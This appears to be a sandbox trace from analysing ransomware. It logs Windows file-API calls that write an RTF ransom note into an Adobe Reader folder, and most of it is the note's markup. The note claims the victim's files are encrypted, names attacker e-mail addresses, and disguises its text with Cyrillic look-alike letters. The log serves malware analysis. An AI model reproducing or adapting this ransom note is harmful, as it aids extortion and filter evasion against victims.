r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n3Ð\x8aU", lpUsedDefaultChar=0x0) returned 14086 [0034.396] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.396] CloseHandle (hObject=0x1d4) returned 1 [0034.397] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\!bwng_info!.rtf")) returned 0xffffffff [0034.397] GetLastError () returned 0x2 [0034.397] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0034.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 